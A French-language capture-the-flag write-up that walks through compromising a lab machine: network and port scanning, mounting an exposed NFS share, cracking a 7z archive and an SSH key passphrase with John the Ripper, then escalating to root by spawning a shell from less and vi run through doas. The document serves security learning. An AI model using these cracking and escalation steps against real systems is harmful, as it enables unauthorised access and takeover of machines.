Pour rappel, on a généralement 4 phases dans un CTF :
Reconnaissance
Enumération
Exploitation
Escalade de privilèges
Reconnaissance :
On doit d’abord repérer la machine sur notre réseau :
netdiscover
La machine à attaquer est en 192.168.1.65 (paramètre variable suivant votre réseau). Il est maintenant temps de regarder les ports qui sont ouverts à l’aide de la commande Nmap :
nmap -A -p- 192.168.1.65
Rappel : -A : Active la détection du système d’exploitation et des versions -p- : On scanne sur la plage de port complet (entre 1 et 65535)
L’utilisation de nmap nous remonte 4 ports ouverts. Pas de site internet, un port 22 qui servira certainement à une connexion par la suite. On va donc s’occuper des autres ports. On voit qu’on a peut-être un point de montage nfs.
showmount -e 192.168.1.65 mkdir fourandsix sudo mount -t nfs 192.168.1.65:/home/user/storage fourandsix cd fourandsix ls
On obtient une archive, voyons ce qu’il y a dedans :
7z l backup.7z
Exploitation :
Malheureusement, il n’est pas possible de le décompresser (protection par mot de passe). Heureusement, JohnTheRipper dispose d’un outil pour les archives 7z :
On va tenter le bruteforce à partir du fichier rockyou.txt
john -w:/usr/share/wordlists/rockyou.txt backup.7z.hash
On peut donc maintenant décompresser l’archive
7z e backup.7z
Voici un peu ce que l’on a pour se connecter en ssh
cat id_rsa.pub ssh -i id_rsa user@192.168.1.65
C’est parti pour un nouveau bruteforce
/usr/share/john/ssh2john.py id_rsa > id_rsa.hash john -w:/usr/share/wordlists/rockyou.txt id_rsa.hash
Nous pouvons maintenant nous connecter :
ssh -i id_rsa user@192.168.1.65
Escalade de privilèges :
find / -perm –u=s –type f 2>/dev/null
Dernière étape, on va chercher à exploiter le programme doas. On va pouvoir lancer la commande less via doas avec les droits root. Pourquoi less ? Et bien parce qu’il permet avec la touche « v » de basculer sur vi et là, c’est un grand classique car « vi » permet de lancer un shell via « :!sh »